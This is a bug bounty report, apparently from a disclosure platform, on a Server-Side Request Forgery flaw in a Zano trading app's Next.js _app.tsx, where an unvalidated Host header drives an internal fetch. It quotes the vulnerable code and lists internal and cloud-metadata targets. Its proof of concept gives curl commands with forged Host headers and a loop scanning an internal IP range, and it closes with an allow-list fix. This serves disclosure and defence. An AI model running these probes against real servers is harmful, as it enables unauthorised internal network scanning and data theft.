#47728 [W&A-Critical] Server-Side Request Forgery (SSRF) Vulnerability in Next.js _app.tsx component
Submitted on Jun 19th 2025 at 10:12:31 UTC by @Opzteam for IOP | Zano Trade
Report ID: #47728
Report Type: Websites & Apps
Report severity: Critical
Target: https://github.com/PRavaga/zano-p2p/tree/master/src/pages/dex
Impacts:
Retrieve sensitive data/files from a running server, such as:
/etc/shadow
database passwords
blockchain keys (this does not include non-sensitive environment variables, open source code, or usernames)
Description
The application contains a critical Server-Side Request Forgery (SSRF) vulnerability in the Next.js
_app.tsx
component where the incoming Host header is used directly to construct internal API requests without any validation or sanitization. This allows attackers to manipulate the Host header to force the server to make arbitrary HTTP requests to internal services, external systems, or localhost endpoints. If exploited, attackers could access internal services, bypass network security controls, exfiltrate sensitive data, or launch attacks against internal infrastructure components.The vulnerability exists in the
getInitialProps
function of the main application component atsrc/pages/_app.tsx
:
App.getInitialProps = async (context: any) => {
try {
const pageProps = await NextApp.getInitialProps(context);
if (!context.ctx.req) return pageProps;
const host = context.ctx.req.headers.host; // Unvalidated user input
const configData = await fetch(`http://${host}/api/config`) // Direct usage in URL construction
.then(res => res.json()) as GetConfigRes;
return {
...pageProps,
config: configData.data
};
} catch (error) {
console.log(`Unable to fetch config data from http://${context?.ctx?.req?.headers?.host}/api/config`); // Error message leaks attempted URL
console.log(error);
return await NextApp.getInitialProps(context);
}
}
The host header from incoming requests is used directly without any validation, normalization, or allow-listing.
Attackers can probe and access internal services that should not be reachable from external networks:
Possible Internal Infrastructure:
http://localhost:8080/admin - Internal admin panels http://127.0.0.1:6379/ - Redis instances http://internal-db:5432/ - Database management interfaces http://metadata.google.internal/ - Cloud metadata services (on GCP) http://169.254.169.254/ - AWS metadata services
Proof of Concept
Proof of Concept
# Attacker crafts request with malicious Host header
curl -H "Host: internal-admin.local" https://victim-app.com/
# Server attempts to fetch: http://internal-admin.local/api/config
# Potentially exposing internal administrative interfaces
# Scan internal IP range
for ip in {1..254}; do
curl -H "Host: 192.168.1.$ip:8080" https://victim-app.com/ &
done
# Each request attempts: http://192.168.1.X:8080/api/config
# Reveals active internal services through response timing/content
To fix the issue:
Implement Host Header Validation:
const allowedHosts = [
'trade.zano.org',
'localhost:3000',
process.env.ALLOWED_HOST
].filter(Boolean);
const host = context.ctx.req.headers.host;
if (!allowedHosts.includes(host)) {
console.error(`Invalid host header: ${host}`);
return await NextApp.getInitialProps(context);
}
Was this helpful?